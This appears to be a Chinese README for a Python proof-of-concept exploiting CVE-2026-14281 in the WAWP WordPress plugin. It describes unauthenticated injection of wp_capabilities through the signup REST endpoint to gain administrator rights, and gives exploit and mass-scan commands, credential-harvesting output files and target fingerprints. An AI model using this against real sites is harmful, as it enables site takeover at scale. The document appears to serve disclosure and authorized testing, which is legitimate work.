针对 WordPress 插件 Automation Web Platform(automation-web-platform — WAWP / Notifications & OTP for WooCommerce)中 CVE-2026-14281 的 Python 3 PoC。
收录于 PoCbit — 社区目录:https://pocbit.org/pocs/
运行 PoC 会打印 PoCbit 头部;JSONL 行包含 pocbit、pocbit_catalog 和 pocbit_page。
| 平台 | WordPress 插件 |
| 组件 | Automation Web Platform (WAWP) |
| 受影响版本 | ≤ 4.8.6 |
| 修复版本 | > 4.8.6(升级至最新稳定版) |
| CVSS 3.1 | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 认证 | 未认证 |
| 攻击向量 | 公开 REST POST /wp-json/wawp/v1/signup/signup |
注册 REST 处理程序(public_permissions_check)接受 wawp_custom_fields,将其映射为 custom_fields_data,并在 wp_insert_user() 之后使用 update_user_meta() 写入每个键,且没有允许列表。攻击者可设置 wp_capabilities 和 wp_user_level 以获得 管理员 权限。
相关代码(4.8.6):includes/api/class-wawp-rest-settings-api.php(/signup/(?P<op>…))、includes/auth-services/class-wawp-otp-service.php(wawp_custom_fields → custom_fields_data)、includes/auth-services/class-wawp-signup.php(finish_registration_logic)。
当 注册 OTP 启用 时,第一次 signup 调用可能会停在 otp_verify(已发送挑战),注册仅在 OTP 之后完成 — 完整的未认证管理员利用链可能需要禁用 OTP 或单独的 OTP 绕过。在这种情况下,PoC 会报告 otp_required。
pip install -r requirements.txt
Python 3.8+。
# Version + REST surface + optional live signup probe (creates a throwaway user if OTP off)
python poc.py -u https://target.example --mode check
# Register admin-capable user (authorized targets only)
python poc.py -u https://target.example --mode exploit --verify
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 20 --quiet
# JSON to stdout (single target)
python poc.py -u https://target.example --mode check 2>nul
| 文件 | 含义 |
|---|---|
cve_2026_14281_results.jsonl | 每个目标的完整 JSON |
hits.txt | 候选主机(check)或 url|email|password(exploit) |
candidates.jsonl | check 模式摘要 |
body="/wp-content/plugins/automation-web-platform/"
body="/wp-json/wawp/"
仅可在您拥有或获得明确测试许可的系统上使用。
| 状态 | 含义 |
|---|
exploit_confirmed_probe | 探测注册已完成(OTP 关闭);元数据注入路径可用 |
vulnerable_otp_blocks_signup | 插件/版本 + REST 正常;OTP 步骤阻止一次性注册 |
vulnerable_rest_signup | 存在漏洞的版本;REST 可达(探测无定论) |
patched | 版本 > 4.8.6 |
no_plugin | 未检测到插件 |